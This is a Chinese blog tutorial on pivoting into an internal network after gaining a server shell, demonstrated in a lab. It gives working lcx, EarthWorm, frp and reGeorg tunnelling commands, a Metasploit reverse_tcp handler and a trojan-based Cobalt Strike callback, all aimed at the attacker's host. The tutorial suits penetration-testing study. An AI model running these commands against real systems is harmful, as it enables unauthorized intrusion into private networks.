0x00前言
在拿到一台服务器的shell的时候,如果想要更进一步渗透测试,则需要进行内网渗透
而内网渗透的第一步就是挂代理,首先需要明确一个概念,在日常生活中常用挂代理去google查资料,自己搭过
的人都知道,要在买的
vps
上搭建ss的服务器端
,之后在自己电脑
上下载ss的客户端
,确定对应的加密协议和密码就能成功转发
而在内网渗透的流量转发是一个道理,是在拿到shell的服务器上使用工具让它变成代理的服务器端,之后在本机使用客户端工具进行连接
0x01流量转发工具
需要放在拿到shell的服务器的服务器端可使用
1.lcx
2.msf
3.cobalt Strike
4.earthworm
5.reGeorg
本地的客户端可以使用
windows
1.proxifier
2.SocksCap64
linux
1.proxychains
0x02 本次测试的环境
本次环境是公司搭的一个一层内网学习环境,本篇文章只总结流量转发的方法,因此大致介绍下简化的拓扑结构
攻击机:
ip:10.86.0.87
win10(该ip能访问到最外层的DMZ区web服务器)
ip: xx.xx.xx.xx
kali (虚拟机,与主机win10 进行NAT连接)
被攻击机:
ip: 172.16.3.145
,192.168.93.143
web服务器(双网卡,192为内网ip)
ip: 192.168.93.138
内网服务器,上面80有个IIS服务(能访问到该web,则说明代理成功)
那么DMZ区服务器
弹shell到kali虚拟机
要通过本机做端口映射,kali
要访问内网web服务器
则代理需要设置成本机的端口
0x03 lcx转发
本工具只是端口流量转发,并不具备完整的proxy代理功能
举个例子服务器只能本地连3389,因此攻击机连不了,但是可以通过该工具将3389转发到攻击机的端口上,就能连接了
拿到shell后,上传lcx.exe
文件
将自身端口流量转发到攻击机端口上
使用方法
本机
接收2333端口来的流量,并在自己的2334端口打开
lcx.exe –listen 2333 2334
目标服务器
将自己的3389的流量转发到10.86.0.87攻击机
的2333端口上
lcx.exe -slave 10.86.0.87 2333 127.0.0.1 3389
rdp连接自己的2334端口
本身流量转发
这玩意儿还能在自己的上进行端口转发,比如把3389端口流量转到自己的2333端口
lcx.exe -tran 2333 127.0.0.1 3389
0x04 msf
msf它本身有流量转发的模块,因为本次的msf是在kali虚拟机里面的,又因为DMZ区服务器是没法访问到kali的,意味着反弹shell是没法直接实现的
在使用msf转发前,使用frp
将kali的监听端口映射到本机上
在本机中使用frps服务器端
frps.ini的配置如下,确定绑定的端口,token的值,转发的端口,即可
启动
.\frps.exe -c .\frps2.ini
在kali中使用frpc客户端
frpc.ini的配置如下,[common]是协议连接的目标,和token凭证,[appName1]~[appName3]是将10.86.0.87的10001端口映射到自己的10001端口
启动方式,利用nohup和 &,挂后台运行
nohup ./frpc -c frpc2.ini &
回过头来看windows本机,已经有信息了
可以使用nc尝试下,是否映射了
访问下windows的10001端口
再看kali里面收到了http请求头
将shell反弹到msf上
先在msf中进行监听php的msf的shell
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LPORT 10001
set LHOST 10.86.0.87
run
现在DMZ服务器能间接通过的端口映射访问到kali的端口了,在冰蝎中可以使用设置好的反弹msf的payload
点击给我连,就弹回来啦
使用msf设置代理
拿到msf的shell了后,就是上代理了,这里因为我之前已经扫过网段了,可以确定内网是192.168.93.0/24网段
因此添加路由
meterpreter> run autoroute -s 192.168.93.0/24
可以查看
meterpreter> run autoroute -p
接下来将该shell挂起到后台
meterpreter> background
并且使用sock4a模块进行转发
use auxiliary/server/socks4a #socks4a socks5都可以
set srvhost 127.0.0.1
set srvport 1084
run
kali中直接firefox访问下192.168.93.80的web,页面是加载不出来的
接下来使用proxychains来代理访问内网的web
设置一下
vim /etc/proxychains.conf
proxychains curl http://192.168.93.138
即可访问成功
0x05 Cobalt Strike代理
这个就很好用了,强烈推荐,因为我是在windows上起的cs的服务器,因此反向代理就是本机不需要端口映射,操作也非常简单(就这玩意儿老断开连接,可能我电脑的问题)
先创建个listener
生成一个exe的木马,当然有杀软的话可以使用powershell或者编程语言运行代码直接反弹
丢到服务器上运行
OK弹回来了
因为这里是代理使用的总结,就不深入总结cs的利用,直接使用代理模块
这里cs有2个代理方式,一个是浏览器代理,一个是sock代理
首先看浏览器代理
接下来,就可以使用我本机的浏览器,挂代理访问了,挂代理方式和burp一样,这里使用的是本机的4001端口
设置方式很简单
访问下试试
在kali虚拟机中同理,也可以使用这样的方式访问web了
但是proxychains是不行的,接下来可以使用cs的另一个代理socks
接下里配置proxychains
成功代理
0x06 使用earthworm
ew是一个很厉害的软件,但是因为很厉害所以作者已经关闭下载了....
他有各种系统的可执行文件
ew具有lcx的转发功能,还能执行socks代理
正向代理和反向代理的区别很多文章都有提到,从表面上看正向代理的代理端口和ip是在被攻击的服务器上,反向代理的端口和ip是自己的本机
正向代理
将对应系统的可执行文件上传上去
只需要在服务器执行
ew_for_Win.exe -s ssocksd -l 2336
配置好proxychains,代理为172.16.3.145:2336端口,能够访问内网了
反向代理
在本地使用ew进行端口监听,意思是将本地从4399接收到的流量转发到2337端口上
.\ew_for_Win.exe -s rcsocks -l 2337 -e 4399
在跳板的服务器上执行,将自己的代理服务转到远程10.86.0.87服务器上的4399端口
ew_for_Win.exe -s rssocks -d 10.86.0.87 -e 4399
尝试下
ew具有lcx的功能
在最上面介绍lcx的时候提到了lcx具有将远程的端口映射到本地,和将本地的端口A流量转移到端口B的功能
ew同样有lcx的功能,使用方法如下,这里还是拿3389为例
将远程端口映射到本地
在本机起监听,监听自己的4399和2338端口,将4399端口收到的数据转出到2338端口接收
.\ew_for_Win.exe -s lcx_listen -l 2338 -e 4399
在远程的服务器上执行
ew_for_Win.exe -s lcx_slave -d 10.86.0.87 -e 4399 -f 127.0.0.1 -g 3389
将本机的端口A转发到端口B
ew_for_Win.exe -s lcx_tran -l 4002 -f 127.0.0.1 -g 3389
多级代理
ew移植lcx的功能不仅仅是为了集合功能,更重要的是可以凭借该功能达到多层代理,这里没有实际的环境,举个例子
攻击机A ,边间服务器B,内网1层的服务器C,内网2层的服务器D
首先拿到B,挂好代理,只能看到C,但不能看到D,这时候就要借助EW的转发功能实现多层内网渗透
攻击机A,使用反向代理
将接到的3001端口的流量,开到自己的2001端口上,最终是挂本地2001端口,实现代理的
.\ew_for_Win.exe -s rcsocks -l 2001 -e 3001
边界服务器B,使用流量转发和流量监听
流量转发,将本地4001端口流量转移到A的3001端口上
.\ew_for_Win.exe -s lcx_slave -d A的ip -e 3001 -f 127.0.0.1 -g 4001
流量监听,将接受到的5001端口的流量转到自己的4001上
.\ew_for_Win.exe -s lcx_listen -l 4001 -e 5001
内网1层的服务器C
反向代理,将自己的5001的socks代理传给B的5001端口
.\ew_for_Win.exe -s rssocks -d B的ip -e 5001
综上所述,访问到D的流量如下
D -> C -> B:5001 -> B:4001 -> A:3001 -> A:2001
挂A:2001的代理,即可访问到D
0x07 reGeorg
reGeorg
使用起来也很方便,他和以上的几种工具想比,它不需要在目标上运行程序,只需要把对应的web的脚本上传上去能够访问即可
reGeorg
的文件主要是以web的后台语言为代理脚本,因此要使用reGeorg
的先决条件是需目标具有web服务
这里的例子是PHP,先上传tunnel.php
函数报错了,之后我上传了tunnel.nosocket.php
,则正常工作了
tunnel.nosocket.php能正常打开
接下来在本地,使用python运行它的py脚本,如果不加-l参数则默认是127.0.0.1的地址开启的代理,这时kali就没法使用10.86.0.87,ip来设置代理了
python .\reGeorgSocksProxy.py -l 10.86.0.87 -p 5432 -u http://172.16.3.145/tunnel.nosocket.php
自己的5432端口即为代理端口
0x08 frp
在博客搬家的时候,又另外学到一招使用frp进行内网代理的,十分稳定好用,最主要的是frp是正常软件,杀软一般不会杀
理清思路,跳板机是frpc,我们的vps是frps,将跳板机的流量转到vps的一个端口上,代理走vps的转发端口即可完成内网代理
在跳板机上的frpc.ini内容如下,将tcp的流量使用socks5,压缩一下转到远程端口的8881上
[common]
server_addr = mi0.xyz
server_port = 7000
token = xxxxxx
[socks_proxy]
type = tcp
remote_port = 8881
plugin = socks5
use_compression = true
在vps服务器上的frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = xxxxx
之后先在vps上启动frps.ini
nohup ./frps -c frps.ini &
在跳板机上启动frpc.ini
#linux
nohup ./frpc -c frpc.ini &
#windows
./frpc.exe -c frpc.ini
0x09代理客户端
在最前面讲到有3个代理的客户端,其中proxychains
是linux下的,也是上面各种工具使用时候,使用的代理方式验证,proxifier
和SocksCap64
均是windows下的工具,有图形化的界面,免费的。proxifier
随便找个激活码即可
proxychains
安装,kali自带的
apt-get install proxychains
直接修改/etc/proxychains.conf
文件
在最下面的[ProxyList]
中以以下格式设置代理
socks4 ip port
或者
socks5 ip port
使用方法也很简单,这样msf就能本身挂代理了
proxychains msfconsole
但是proxychains
有些命令不支持,比如ping
proxifier
该工具是windows下的,配置有2个注意点即可
1.配置代理的ip和端口
2.配置走代理的exe程序
以刚刚的reGeorg代理为例
配置好了代理的服务器,接下来配置哪些服务走该代理
Direct是直连,即不走代理的意思, proxy SOCKS5 即是刚刚设置的代理,当前设置是firefox走代理,chrome.exe不走代理
这个规则表和配置交换机的ACL协议一样,从上往下读协议的
如果要burp抓包,则使用Any,Any,Any,即全部应用都走代理即可
SocksCap64
和proxifier
很相似,先设置代理
接下来右键下面的应用,选择在代理隧道中运行即可,该应用也可以添加
这里在代理隧道中运行chrome,即可访问内网的web服务
0x09 结语
挂代理思路清楚了是比较简单的事情,渗透测试和CTF稍微不同的地方在于,CTF注重原理,深入到代码的写法问题,而渗透测试则注重工具的使用。lcx和ew很容易被杀软杀掉,但是在比较low或者比赛或者学习的环境中或者关掉杀软的情况下还是比较好使的@_@